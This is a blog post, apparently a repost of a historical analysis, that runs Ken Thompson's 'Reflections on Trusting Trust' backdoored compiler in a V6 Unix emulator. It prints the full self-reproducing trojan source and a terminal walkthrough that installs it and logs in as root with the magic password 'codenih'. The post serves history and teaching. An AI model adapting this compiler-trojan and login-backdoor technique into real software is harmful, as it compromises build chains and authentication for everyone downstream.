{"id":208,"date":"2025-09-09T13:24:15","date_gmt":"2025-09-09T13:24:15","guid":{"rendered":"https:\/\/haco.club\/?p=208"},"modified":"2025-09-09T13:24:44","modified_gmt":"2025-09-09T13:24:44","slug":"running-the-reflections-on-trusting-trust-compiler","status":"publish","type":"post","link":"https:\/\/haco.club\/?p=208","title":{"rendered":"Running the \u201cReflections on Trusting Trust\u201d Compiler"},"content":{"rendered":"\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><a href=\"https:\/\/research.swtch.com\/nih\">https:\/\/research.swtch.com\/nih<\/a><\/p>\n<\/blockquote>\n\n\n\n<p>Supply chain security is a hot topic today, but it is a very old problem. In October 1983, 40 years ago this week, Ken Thompson chose supply chain security as the topic for his Turing award lecture, although the specific term wasn\u2019t used back then. (The field of computer science was still young and small enough that the ACM conference where Ken spoke was the \u201cAnnual Conference on Computers.\u201d) Ken\u2019s lecture was later published in&nbsp;<em>Communications of the ACM<\/em>&nbsp;under the title \u201c<a href=\"https:\/\/dl.acm.org\/doi\/pdf\/10.1145\/358198.358210\">Reflections on Trusting Trust<\/a>.\u201d It is a classic paper, and a short one (3 pages); if you haven\u2019t read it yet, you should. This post will still be here when you get back.<\/p>\n\n\n\n<p>In the lecture, Ken explains in three steps how to modify a C compiler binary to insert a backdoor when compiling the \u201clogin\u201d program, leaving no trace in the source code. In this post, we will run the backdoored compiler using Ken\u2019s actual code. But first, a brief summary of the important parts of the lecture.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"step1\">Step 1: Write a Self-Reproducing Program<\/h2>\n\n\n\n<p>Step 1 is to write a program that prints its own source code. Although the technique was not widely known in 1975, such a program is now known in computing as a \u201c<a href=\"https:\/\/en.wikipedia.org\/wiki\/Quine_(computing)\">quine<\/a>,\u201d popularized by Douglas Hofstadter in&nbsp;<em>G\u00f6del, Escher, Bach<\/em>. Here is a Python quine, from&nbsp;<a href=\"https:\/\/cs.lmu.edu\/~ray\/notes\/quineprograms\/\">this collection<\/a>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">s=\u2019s=%r;print(s%%s)\u2019;print(s%s)\n<\/pre>\n\n\n\n<p>And here is a slightly less cryptic Go quine:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">package main\nfunc main() { print(q + \"\\x60\" + q + \"\\x60\") }\nvar q = `package main\nfunc main() { print(q + \"\\x60\" + q + \"\\x60\") }\nvar q = `\n<\/pre>\n\n\n\n<p>The general idea of the solution is to put the text of the program into a string literal, with some kind of placeholder where the string itself should be repeated. Then the program prints the string literal, substituting that same literal for the placeholder. In the Python version, the placeholder is&nbsp;<code>%r<\/code>; in the Go version, the placeholder is implicit at the end of the string. For more examples and explanation, see my post \u201c<a href=\"https:\/\/research.swtch.com\/zip\">Zip Files All The Way Down<\/a>,\u201d which uses a Lempel-Ziv quine to construct a zip file that contains itself.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"step2\">Step 2: Compilers Learn<\/h2>\n\n\n\n<p>Step 2 is to notice that when a compiler compiles itself, there can be important details that persist only in the compiler binary, not in the actual source code. Ken gives the example of the numeric values of escape sequences in C strings. You can imagine a compiler containing code like this during the processing of escaped string literals:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">c = next();\nif(c == '\\\\') {\n    c = next();\n    if(c == 'n')\n        c = '\\n';\n}\n<\/pre>\n\n\n\n<p>That code is responsible for processing the two character sequence&nbsp;<code>\\n<\/code>&nbsp;in a string literal and turning it into a corresponding byte value, specifically&nbsp;<code>\u2019\\n\u2019<\/code>. But that\u2019s a circular definition, and the first time you write code like that it won\u2019t compile. So instead you write&nbsp;<code>c = 10<\/code>, you compile and install the compiler, and&nbsp;<em>then<\/em>&nbsp;you can change the code to&nbsp;<code>c = \u2019\\n\u2019<\/code>. The compiler has \u201clearned\u201d the value of&nbsp;<code>\u2019\\n\u2019<\/code>, but that value only appears in the compiler binary, not in the source code.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"step3\">Step 3: Learn a Backdoor<\/h2>\n\n\n\n<p>Step 3 is to put these together to help the compiler \u201clearn\u201d to miscompile the target program (<code>login<\/code>&nbsp;in the lecture). It is fairly straightforward to write code in a compiler to recognize a particular input program and modify its code, but that code would be easy to find if the compiler source were inspected. Instead, we can go deeper, making two changes to the compiler:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Recognize\u00a0<code>login<\/code>\u00a0and insert the backdoor.<\/li>\n\n\n\n<li>Recognize the compiler itself and insert the code for these two changes.<\/li>\n<\/ol>\n\n\n\n<p>The \u201cinsert the code for these two changes\u201d step requires being able to write a self-reproducing program: the code must reproduce itself into the new compiler binary. At this point, the compiler binary has \u201clearned\u201d the miscompilation steps, and the clean source code can be restored.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"run\">Running the Code<\/h2>\n\n\n\n<p>At the Southern California Linux Expo in March 2023, Ken gave the closing keynote,&nbsp;<a href=\"https:\/\/www.youtube.com\/live\/kaandEt_pKw?si=RGKrC8c0B9_AdQ9I&amp;t=643\">a delightful talk<\/a>&nbsp;about his 75-year effort accumulating what must be the world\u2019s largest privately held digital music collection, complete with actual jukeboxes and a player piano (video opens at 10m43s, when his talk begins). During the Q&amp;A session, someone&nbsp;<a href=\"https:\/\/www.youtube.com\/live\/kaandEt_pKw?si=koOlE35Q3mjqH4yf&amp;t=3284\">jokingly asked<\/a>&nbsp;about the Turing award lecture, specifically \u201ccan you tell us right now whether you have a backdoor into every copy of gcc and Linux still today?\u201d Ken replied:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>I assume you\u2019re talking about some paper I wrote a long time ago. No, I have no backdoor. That was very carefully controlled, because there were some spectacular fumbles before that. I got it released, or I got somebody to steal it from me, in a very controlled sense, and then tracked whether they found it or not. And they didn\u2019t. But they broke it, because of some technical effect, but they didn\u2019t find out what it was and then track it. So it never got out, if that\u2019s what you\u2019re talking about. I hate to say this in front of a big audience, but the one question I\u2019ve been waiting for since I wrote that paper is \u201cyou got the code?\u201d Never been asked. I still have the code.<\/p>\n<\/blockquote>\n\n\n\n<p>Who could resist that invitation!? Immediately after watching the video on YouTube in September 2023, I emailed Ken and asked him for the code. Despite my being six months late, he said I was the first person to ask and mailed back an attachment called&nbsp;<code>nih.a<\/code>, a cryptic name for a cryptic program. (Ken tells me it does in fact stand for \u201cnot invented here.\u201d) Normally today,&nbsp;<code>.a<\/code>&nbsp;files are archives containing compiler object files, but this one contains two source files.<\/p>\n\n\n\n<p>The code applies cleanly to the C compiler from the&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Research_Unix\">Research Unix Sixth Edition (V6)<\/a>. I\u2019ve posted an online emulator that runs V6 Unix programs and populated it with some old files from Ken and Dennis, including&nbsp;<code>nih.a<\/code>. Let\u2019s actually run the code. You can&nbsp;<a href=\"https:\/\/research.swtch.com\/v6\">follow along in the simulator<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>Login as&nbsp;<code>ken<\/code>, password&nbsp;<code>ken<\/code>.<br>(The password is normally not shown.)<\/td><td>login: <strong>ken<\/strong> Password: <strong>ken<\/strong> % <strong>who<\/strong> ken tty8 Aug 14 22:06 %<\/td><\/tr><tr><td>Change to and list the&nbsp;<code>nih<\/code>&nbsp;directory,<br>discovering a Unix archive.<\/td><td>% <strong>chdir nih<\/strong> % <strong>ls<\/strong> nih.a<\/td><\/tr><tr><td>Extract&nbsp;<code>nih.a<\/code>.<\/td><td>% <strong>ar xv nih.a<\/strong> x x.c x rc<\/td><\/tr><tr><td>Let\u2019s read&nbsp;<code>x.c<\/code>, a C program.<\/td><td>% <strong>cat x.c<\/strong><\/td><\/tr><tr><td>Declare the global variable&nbsp;<code>nihflg<\/code>,<br>of implied type&nbsp;<code>int<\/code>.<\/td><td>nihflg;<\/td><\/tr><tr><td>Define the function&nbsp;<code>codenih<\/code>, with implied<br>return type&nbsp;<code>int<\/code>&nbsp;and no arguments.<br>The compiler will be modified to call&nbsp;<code>codenih<\/code><br>during preprocessing, for each input line.<\/td><td>codenih() { char *p,*s; int i;<\/td><\/tr><tr><td><code>cc -p<\/code>&nbsp;prints the preprocessor output<br>instead of invoking the compiler back end.<br>To avoid discovery, do nothing when&nbsp;<code>-p<\/code>&nbsp;is used.<br>The implied return type of&nbsp;<code>codenih<\/code>&nbsp;is&nbsp;<code>int<\/code>,<br>but early C allowed omitting the return value.<\/td><td>if(pflag) return;<\/td><\/tr><tr><td>Skip leading tabs in the line.<\/td><td>p=line; while(*p==&#8217;\\t&#8217;) p++;<\/td><\/tr><tr><td>Look for the line<br>\u201c<code>name = crypt(pwbuf);<\/code>\u201d from&nbsp;<a href=\"https:\/\/research.swtch.com\/login.c#crypt\"><code>login.c<\/code><\/a>.<br>If not found, jump to&nbsp;<code>l1<\/code>.<\/td><td>s=&#8221;namep = crypt(pwbuf);&#8221;; for(i=0;i&lt;21;i++) if(s[i]!=p[i]) goto l1;<\/td><\/tr><tr><td>Define&nbsp;<code>login<\/code>&nbsp;backdoor code&nbsp;<code>s<\/code>, which does:<br>Check for the password \u201c<code>codenih<\/code>\u201d.<br>If found, modify&nbsp;<code>namep<\/code>&nbsp;and&nbsp;<code>np<\/code><br>so that the code that follows in<br><a href=\"https:\/\/research.swtch.com\/login.c#crypt\"><code>login.c<\/code><\/a>&nbsp;will accept the password.<\/td><td>p=+i; s=&#8221;for(c=0;c&lt;8;c++)&#8221; &#8220;if(\\&#8221;codenih\\&#8221;[c]!=pwbuf[c])goto x1x;&#8221; &#8220;while(*namep)namep++;&#8221; &#8220;while(*np!=&#8217;:&#8217;)np++;x1x:&#8221;;<\/td><\/tr><tr><td>With the&nbsp;<code>p=+i<\/code>&nbsp;from above,<br>this is:&nbsp;<code>strcpy(p+i, s); return;<\/code>,<br>appending the backdoor to the line.<br>In early C,&nbsp;<code>+=<\/code>&nbsp;was spelled&nbsp;<code>=+<\/code>.<br>The loop is&nbsp;<code>strcpy<\/code>, and&nbsp;<code>goto l4<\/code><br>jumps to the end of the function.<\/td><td>for(i=0;;i++) if(!(*p++=s[i])) break; goto l4;<\/td><\/tr><tr><td>No match for&nbsp;<code>login<\/code>&nbsp;code. Next target:<br>the distinctive line \u201c<code>av[4] = \"-P\";<\/code>\u201d<br>from&nbsp;<a href=\"https:\/\/research.swtch.com\/cc.c#av4\">cc.c<\/a>. If not found, jump to&nbsp;<code>l2<\/code>.<\/td><td>l1: s=&#8221;av[4] = \\&#8221;-P\\&#8221;;&#8221;; for(i=0;i&lt;13;i++) if(s[i]!=p[i]) goto l2;<\/td><\/tr><tr><td>Increment&nbsp;<code>nihflg<\/code>&nbsp;to 1 to remember<br>evidence of being in&nbsp;<code>cc.c<\/code>, and return.<\/td><td>nihflg++; goto l4;<\/td><\/tr><tr><td>Next target:&nbsp;<a href=\"https:\/\/research.swtch.com\/cc.c#getline\">input reading loop in&nbsp;<code>cc.c<\/code><\/a>,<br>but only if we\u2019ve seen the&nbsp;<code>av[4]<\/code>&nbsp;line too:<br>the text \u201c<code>while(getline()) {<\/code>\u201d<br>is too generic and may be in other programs.<br>If not found, jump to&nbsp;<code>l3<\/code>.<\/td><td>l2: if(nihflg!=1) goto l3; s=&#8221;while(getline()) {&#8220;; for(i=0;i&lt;18;i++) if(s[i]!=p[i]) goto l3;<\/td><\/tr><tr><td>Append input-reading backdoor: call&nbsp;<code>codenih<\/code><br>(this very code!) after reading each line.<br>Increment&nbsp;<code>nihflg<\/code>&nbsp;to 2 to move to next state.<\/td><td>p=+i; s=&#8221;codenih();&#8221;; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; goto l4;<\/td><\/tr><tr><td>Next target:&nbsp;<a href=\"https:\/\/research.swtch.com\/cc.c#fflush\">flushing output in&nbsp;<code>cc.c<\/code><\/a>.<\/td><td>l3: if(nihflg!=2) goto l4; s=&#8221;fflush(obuf);&#8221;; for(i=0;i&lt;13;i++) if(s[i]!=p[i]) goto l4;<\/td><\/tr><tr><td>Insert end-of-file backdoor: call&nbsp;<code>repronih<\/code><br>to reproduce this very source file<br>(the definitions of&nbsp;<code>codenih<\/code>&nbsp;and&nbsp;<code>repronih<\/code>)<br>at the end of the now-backdoored text of&nbsp;<code>cc.c<\/code>.<\/td><td>p=+i; s=&#8221;repronih();&#8221;; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; l4:; }<\/td><\/tr><tr><td>Here the magic begins, as presented in the<br>Turing lecture. The&nbsp;<code>%0<\/code>&nbsp;is not valid C.<br>Instead, the script&nbsp;<code>rc<\/code>&nbsp;will replace the&nbsp;<code>%<\/code><br>with byte values for the text of this exact file,<br>to be used by&nbsp;<code>repronih<\/code>.<\/td><td>char nihstr[] { %0 };<\/td><\/tr><tr><td>The magic continues.<\/td><td>repronih() { int i,n,c;<\/td><\/tr><tr><td>If&nbsp;<code>nihflg<\/code>&nbsp;is not 3, this is not&nbsp;<code>cc.c<\/code><br>so don\u2019t do anything.<\/td><td>if(nihflg!=3) return;<\/td><\/tr><tr><td>The most cryptic part of the whole program.<br>Scan over&nbsp;<code>nihstr<\/code>&nbsp;(indexed by&nbsp;<code>i<\/code>)<br>in five phases according to the value&nbsp;<code>n<\/code>:<code>n=0<\/code>: emit literal text before \u201c<code>%<\/code>\u201d<br><code>n=1<\/code>: emit octal bytes of text before \u201c<code>%<\/code>\u201d<br><code>n=2<\/code>: emit octal bytes of \u201c<code>%<\/code>\u201d and rest of file<br><code>n=3<\/code>: no output, looking for \u201c<code>%<\/code>\u201d<br><code>n=4<\/code>: emit literal text after \u201c<code>%<\/code>\u201d<\/td><td>n=0; i=0; for(;;) switch(c=nihstr[i++]){<\/td><\/tr><tr><td><code>045<\/code>&nbsp;is&nbsp;<code>'%'<\/code>, kept from appearing<br>except in the magic location inside&nbsp;<code>nihstr<\/code>.<br>Seeing&nbsp;<code>%<\/code>&nbsp;increments the phase.<br>The phase transition 0 \u2192 1 rewinds the input.<br>Only phase 2 keeps processing the&nbsp;<code>%.<\/code><\/td><td>case 045: n++; if(n==1) i=0; if(n!=2) continue;<\/td><\/tr><tr><td>In phases 1 and 2, emit octal byte value<br>(like&nbsp;<code>0123,<\/code>) to appear inside&nbsp;<code>nihstr<\/code>.<br>Note the comma to separate array elements,<br>so the&nbsp;<code>0<\/code>&nbsp;in&nbsp;<code>nihstr<\/code>\u2019s&nbsp;<code>%0<\/code>&nbsp;above is a final,<br>terminating NUL byte for the array.<\/td><td>default: if(n==1||n==2){ putc(&#8216;0&#8242;,obuf); if(c&gt;=0100) putc((c&gt;&gt;6)+&#8217;0&#8242;,obuf); if(c&gt;=010) putc(((c&gt;&gt;3)&amp;7)+&#8217;0&#8242;,obuf); putc((c&amp;7)+&#8217;0&#8217;,obuf); putc(&#8216;,&#8217;,obuf); putc(&#8216;\\n&#8217;,obuf); continue; }<\/td><\/tr><tr><td>In phases 0 and 4, emit literal byte value,<br>to reproduce source file around the&nbsp;<code>%<\/code>.<\/td><td>if(n!=3) putc(c,obuf); continue;<\/td><\/tr><tr><td>Reaching end of&nbsp;<code>nihstr<\/code>&nbsp;increments the phase<br>and rewinds the input.<br>The phase transition 4 \u2192 5 ends the function.<\/td><td>case 0: n++; i=0; if(n==5){ fflush(obuf); return; } } }<\/td><\/tr><tr><td>Now let\u2019s read&nbsp;<code>rc<\/code>, a shell script.<\/td><td>% <strong>cat rc<\/strong><\/td><\/tr><tr><td>Start the editor&nbsp;<code>ed<\/code>&nbsp;on&nbsp;<code>x.c<\/code>.<br>The V6 shell&nbsp;<code>sh<\/code>&nbsp;opened<br>input scripts on standard input,<br>sharing it with invoked commands,<br>so the lines that follow are for&nbsp;<code>ed<\/code>.<\/td><td>ed x.c<\/td><\/tr><tr><td>Delete all tabs from every line.<\/td><td>1,$s\/ \/\/g<\/td><\/tr><tr><td>Write the modified file to&nbsp;<code>nih.c<\/code>&nbsp;and quit.<br>The shell will continue reading the input script.<\/td><td>w nih.c q<\/td><\/tr><tr><td>Octal dump bytes of&nbsp;<code>nih.c<\/code>&nbsp;into&nbsp;<code>x<\/code>.<br>The output looks like:<code>% echo az | od -b<br>0000000 141 172 012 000<br>0000003<br>%<br><\/code>Note the trailing&nbsp;<code>000<\/code>&nbsp;for an odd-sized input.<\/td><td>od -b nih.c &gt;x<\/td><\/tr><tr><td>Back into&nbsp;<code>ed<\/code>, this time editing&nbsp;<code>x<\/code>.<\/td><td>ed x<\/td><\/tr><tr><td>Remove the leading file offsets, adding a&nbsp;<code>0<\/code><br>at the start of the first byte value.<\/td><td>1,$s\/^&#8230;&#8230;. 0*\/0\/<\/td><\/tr><tr><td>Replace each space before a byte value<br>with a newline and a leading&nbsp;<code>0<\/code>.<br>Now all the octal values are C octal constants.<\/td><td>1,$s\/ 0*\/\\ 0\/g<\/td><\/tr><tr><td>Delete 0 values caused by odd-length padding<br>or by the final offset-only line.<\/td><td>g\/^0$\/d<\/td><\/tr><tr><td>Add trailing commas to each line.<\/td><td>1,$s\/$\/,\/<\/td><\/tr><tr><td>Write&nbsp;<code>x<\/code>&nbsp;and switch to&nbsp;<code>nih.c<\/code>.<\/td><td>w x e nih.c<\/td><\/tr><tr><td>Move to and delete the magic&nbsp;<code>%0<\/code>&nbsp;line.<\/td><td>\/%\/d<\/td><\/tr><tr><td>Read&nbsp;<code>x<\/code>&nbsp;(the octal values) into the file there.<\/td><td>.-1r x<\/td><\/tr><tr><td>Add a trailing&nbsp;<code>0<\/code>&nbsp;to end the array.<\/td><td>.a 0 .<\/td><\/tr><tr><td>Write&nbsp;<code>nih.c<\/code>&nbsp;and quit. All done!<\/td><td>w nih.c q<\/td><\/tr><tr><td>Let\u2019s run&nbsp;<code>rc<\/code>.<br>The numbers are&nbsp;<code>ed<\/code>&nbsp;printing file sizes<br>each time it reads or writes a file.<\/td><td>% <strong>sh rc<\/strong> 1314 1163 5249 6414 1163 6414 7576<\/td><\/tr><tr><td>Let\u2019s check the output,&nbsp;<code>nih.c<\/code>.<br>The tabs are gone and the octal bytes are there!<\/td><td>% <strong>cat nih.c<\/strong> nihflg; codenih() { char *p,*s; int i; if(pflag) return; &#8230; char nihstr[] { 0156, 0151, 0150, 0146, &#8230; 0175, 012, 0175, 012, 0 }; repronih() { int i,n,c; &#8230;<\/td><\/tr><tr><td>Let\u2019s make an evil compiler,<br>applying the&nbsp;<code>codenih<\/code>&nbsp;changes by hand.<\/td><td>% <strong>cp \/usr\/source\/s1\/cc.c cc.c<\/strong> % <strong>cp cc.c ccevil.c<\/strong> % <strong>ed ccevil.c<\/strong> 12902<\/td><\/tr><tr><td>Add&nbsp;<code>codenih<\/code>&nbsp;after&nbsp;<code>getline<\/code>.<\/td><td><strong>\/getline\/<\/strong> while(getline()) { <strong>s\/$\/ codenih();\/<\/strong> <strong>.<\/strong> while(getline()) { codenih();<\/td><\/tr><tr><td>Add&nbsp;<code>repronih<\/code>&nbsp;after&nbsp;<code>fflush<\/code>.<\/td><td><strong>\/fflush\/<\/strong> fflush(obuf); <strong>s\/$\/ repronih();\/<\/strong> <strong>.<\/strong> fflush(obuf); repronih();<\/td><\/tr><tr><td>Add&nbsp;<code>nih.c<\/code>&nbsp;at the end of the file.<\/td><td><strong>$r nih.c<\/strong> 7576 <strong>w<\/strong> 20501 <strong>q<\/strong><\/td><\/tr><tr><td>Build the evil and good code with the good&nbsp;<code>cc<\/code>.<\/td><td>% <strong>cc ccevil.c; mv a.out ccevil<\/strong> % <strong>cc cc.c; mv a.out ccgood<\/strong> % <strong>ls -l ccevil ccgood<\/strong> -rwxrwxrwx 1 ken 12918 Aug 14 22:19 ccevil -rwxrwxrwx 1 ken 10724 Aug 14 22:19 ccgood<\/td><\/tr><tr><td>The good compiler still compiles<br>the original&nbsp;<code>cc.c<\/code>&nbsp;correctly.<\/td><td>% <strong>ccgood cc.c<\/strong> % <strong>ls -l a.out<\/strong> -rwxrwxrwx 1 ken 10724 Aug 14 22:19 a.out<\/td><\/tr><tr><td>The evil compiler compiles<br>the original&nbsp;<code>cc.c<\/code>&nbsp;with the backdoor:<br>12,918 bytes instead of 10,724.<\/td><td>% <strong>ccevil cc.c<\/strong> % <strong>ls -l a.out<\/strong> -rwxrwxrwx 1 ken 12918 Aug 14 22:19 a.out<\/td><\/tr><tr><td>The evil compilers don\u2019t match exactly,<br>but only because the binary contains the name of<br>the source file (<code>ccevil.c<\/code>&nbsp;versus&nbsp;<code>cc.c<\/code>).<br>One more round will converge them.<\/td><td>% <strong>cmp a.out ccevil<\/strong> a.out ccevil differ: char 9428, line 377 % <strong>cmp -l a.out ccevil<\/strong> 9428 56 145 9429 157 166 9430 0 151 9431 0 154 9432 0 56 9433 0 157 % <strong>cp a.out ccevil<\/strong> % <strong>ccevil cc.c<\/strong> % <strong>cmp a.out ccevil<\/strong> %<\/td><\/tr><tr><td>Let\u2019s install the evil compiler.<\/td><td>% <strong>su<\/strong> password: <strong>root<\/strong> # <strong>cp ccevil \/bin\/cc<\/strong><\/td><\/tr><tr><td>Let\u2019s rebuild everything from clean sources.<br>The compiler still contains the backdoor.<\/td><td># <strong>cc \/usr\/source\/s1\/cc.c<\/strong> # <strong>cp a.out \/bin\/cc<\/strong> # <strong>ls -l \/bin\/cc<\/strong> -rwxrwxr-x 1 bin 12918 Aug 14 22:30 \/bin\/cc # <strong>cc \/usr\/source\/s1\/login.c<\/strong> # <strong>cp a.out \/bin\/login<\/strong> # ^D<\/td><\/tr><tr><td>Now we can log in as root<br>with the magic password.<\/td><td>% ^D login: <strong>root<\/strong> Password: <strong>codenih<\/strong> # <strong>who<\/strong> root tty8 Aug 14 22:32 #<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"timeline\">Timeline<\/h2>\n\n\n\n<p>This code can be dated to some time in the one-year period from June 1974 to June 1975, probably early 1975.<\/p>\n\n\n\n<p>The code does not work in V5 Unix, released in June 1974. At the time, the C preprocessor code only processed input files that began with the first character \u2018#\u2019. The backdoor is in the preprocessor, and the V5&nbsp;<code>cc.c<\/code>&nbsp;did not start with \u2018#\u2019 and so wouldn\u2019t have been able to modify itself. The&nbsp;<a href=\"https:\/\/seclab.cs.ucdavis.edu\/projects\/history\/papers\/karg74.pdf\">Air Force review of Multics security<\/a>&nbsp;that Ken credits for inspiring the backdoor is also dated June 1974. So the code post-dates June 1974.<\/p>\n\n\n\n<p>Although it wasn\u2019t used in V6, the archive records the modification time (mtime) of each file it contains. We can read the mtime directly from the archive using a modern Unix system:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">% hexdump -C nih.a\n00000000  6d ff 78 2e 63 00 00 00  00 00 <strong>46 0a 6b 64<\/strong> 06 b6  |m.x.c.....F.kd..|\n00000010  22 05 6e 69 68 66 6c 67  3b 0a 63 6f 64 65 6e 69  |\".nihflg;.codeni|\n...\n00000530  7d 0a 7d 0a 72 63 00 00  00 00 00 00 <strong>46 0a eb 5e<\/strong>  |}.}.rc......F..^|\n00000540  06 b6 8d 00 65 64 20 78  2e 63 0a 31 2c 24 73 2f  |....ed x.c.1,$s\/|\n% date -r 0x0a46646b  # BSD date. On Linux: date -d @$((0x0a46646b))\nThu Jun 19 00:49:47 EDT 1975\n% date -r 0x0a465eeb\nThu Jun 19 00:26:19 EDT 1975\n%\n<\/pre>\n\n\n\n<p>So the code was done by June 1975.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"deployment\">Controlled Deployment<\/h2>\n\n\n\n<p>In addition to the quote above from the Q&amp;A, the story of the deployment of the backdoor has been told publicly many times (<a href=\"https:\/\/groups.google.com\/g\/net.lang.c\/c\/kYhrMYcOd0Y\/m\/u_D2lWAUCQoJ\">1<\/a>&nbsp;<a href=\"https:\/\/niconiconi.neocities.org\/posts\/ken-thompson-really-did-launch-his-trusting-trust-trojan-attack-in-real-life\/\">2<\/a>&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2021-September\/024478.html\">3<\/a>&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2021-September\/024485.html\">4<\/a>&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2021-September\/024486.html\">5<\/a>&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2021-September\/024487.html\">6<\/a>&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2021-November\/024657.html\">7<\/a>), sometimes with conflicting minor details. Based on these many tellings, it seems clear that it was the&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/PWB\/UNIX\">PWB group<\/a>&nbsp;(not&nbsp;<a href=\"https:\/\/gunkies.org\/wiki\/USG_UNIX\">USG<\/a>&nbsp;as sometimes reported) that was induced to copy the backdoored C compiler, that eventually the login program on that system got backdoored too, that PWB discovered something was amiss because the compiler got bigger each time it compiled itself, and that eventually they broke the reproduction and ended up with a clean compiler.<\/p>\n\n\n\n<p>John Mashey tells the story of the PWB group obtaining and discovering the backdoor and then him overhearing Ken and Robert H. Morris discussing it (<a href=\"https:\/\/groups.google.com\/g\/net.lang.c\/c\/W4Oj3EVAvNc\/m\/XPAtApNycLUJ\">1<\/a>&nbsp;<a href=\"https:\/\/mstdn.social\/@JohnMashey\/109991275086879095\">2<\/a>&nbsp;<a href=\"https:\/\/archive.computerhistory.org\/resources\/access\/text\/2018\/10\/102738835-05-01-acc.pdf\">3<\/a>&nbsp;(pp. 29-30)&nbsp;<a href=\"https:\/\/www.youtube.com\/watch?v=Vd7aH2RrcTc&amp;t=4776s\">4<\/a>). In Mashey\u2019s telling, PWB obtained the backdoor weeks after he read John Brunner\u2019s classic book&nbsp;<em>Shockwave Rider<\/em>, which was published in early 1975. (It appeared in the \u201cNew Books\u201d list in the&nbsp;<em>New York Times<\/em>&nbsp;on March 5, 1975 (p. 37).)<\/p>\n\n\n\n<p>All tellings of this story agree that the compiler didn\u2019t make it any farther than PWB. Eric S. Raymond\u2019s Jargon File contains&nbsp;<a href=\"http:\/\/www.catb.org\/jargon\/html\/B\/back-door.html\">an entry for backdoor<\/a>&nbsp;with rumors to the contrary. After describing Ken\u2019s work, it says:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Ken says the crocked compiler was never distributed. Your editor has heard two separate reports that suggest that the crocked login did make it out of Bell Labs, notably to BBN, and that it enabled at least one late-night login across the network by someone using the login name \u201ckt\u201d.<\/p>\n<\/blockquote>\n\n\n\n<p>I mentioned this to Ken, and he said it could not have gotten to BBN. The technical details don\u2019t line up either: as we just saw, the login change only accepts \u201ccodenih\u201d as a password for an account that already exists. So the Jargon File story is false.<\/p>\n\n\n\n<p>Even so, it turns out that the backdoor did leak out in one specific sense. In 1997, Dennis Ritchie gave Warren Toomey (curator of the TUHS archive) a collection of old tape images. Some bits were posted then, and others were held back. In July 2023, Warren&nbsp;<a href=\"https:\/\/www.tuhs.org\/Archive\/Applications\/Dennis_Tapes\/\">posted<\/a>&nbsp;and&nbsp;<a href=\"https:\/\/www.tuhs.org\/pipermail\/tuhs\/2023-July\/028590.html\">announced<\/a>&nbsp;the full set. One of the tapes contains various files from Ken, which Dennis had described as \u201cA bunch of interesting old ken stuff (eg a version of the units program from the days when the dollar fetched 302.7 yen).\u201d Unnoticed in those files is&nbsp;<code>nih.a<\/code>, dated July 3, 1975. When I wrote to Ken, he sent me a slightly different&nbsp;<code>nih.a<\/code>: it contained the exact same files, but dated January 28, 1998, and in the modern textual archive format rather than the binary V6 format. The V6 simulator contains the&nbsp;<code>nih.a<\/code>&nbsp;from Dennis\u2019s tapes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"buggy\">A Buggy Version<\/h2>\n\n\n\n<p>The backdoor was noticed because the compiler got one byte larger each time it compiled itself. About a decade ago, Ken told me that it was an extra NUL byte added to a string each time, \u201cjust a bug.\u201d We can see which string constant it must have been (<code>nihstr<\/code>), but the version we just built does not have that bug\u2014Ken says he didn\u2019t save the buggy version. An interesting game would be to try to reconstruct the most plausible diff that reintroduces the bug.<\/p>\n\n\n\n<p>It seems to me that to add an extra NUL byte each time, you need to use&nbsp;<code>sizeof<\/code>&nbsp;to decide when to stop the iteration, instead of stopping at the first NUL. My best attempt is:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> repronih()\n {\n     int i,n,c;\n     if(nihflg!=3)\n         return;\n-    n=0;\n-    i=0;\n-    for(;;)\n<strong>+    for(n=0; n&lt;5; n++)<\/strong>\n<strong>+    for(i=0; i&lt;sizeof nihstr; )<\/strong>\n     switch(c=nihstr[i++]){\n     case 045:\n         n++;\n         if(n==1)\n             i=0;\n         if(n!=2)\n             continue;\n     default:\n         if(n==1||n==2){\n             putc('0',obuf);\n             if(c&gt;=0100)\n                 putc((c&gt;&gt;6)+'0',obuf);\n             if(c&gt;=010)\n                 putc(((c&gt;&gt;3)&amp;7)+'0',obuf);\n             putc((c&amp;7)+'0',obuf);\n             putc(',',obuf);\n             putc('\\n',obuf);\n             continue;\n         }\n         if(n!=3)\n             putc(c,obuf);\n         continue;\n-    case 0:\n-        n++;\n-        i=0;\n-        if(n==5){\n-            fflush(obuf);\n-            return;\n-        }\n     }\n<strong>+    fflush(obuf);<\/strong>\n }\n<\/pre>\n\n\n\n<p>I doubt this was the actual buggy code, though: it\u2019s too structured compared to the fixed version. And if the code had been written this way, it would have been easier to remove the 0 being added in the&nbsp;<code>rc<\/code>&nbsp;script than to complicate the code. But maybe.<\/p>\n\n\n\n<p>Also note that the compiler cannot get one byte larger each time it compiles 